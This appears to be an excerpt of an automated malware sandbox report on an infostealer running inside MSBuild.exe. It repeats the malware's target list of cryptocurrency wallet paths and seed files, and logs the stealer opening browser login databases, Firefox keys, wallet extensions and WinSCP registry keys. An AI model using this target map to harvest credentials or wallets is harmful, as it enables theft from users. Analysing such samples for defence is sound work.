Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: MSBuild.exe String found in binary or memory: ElectrumLTC
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.0000000003321000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: set_UseMachineKeyStore
Source: MSBuild.exe String found in binary or memory: \Electrum-LTC\wallets\
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc Jump to behavior
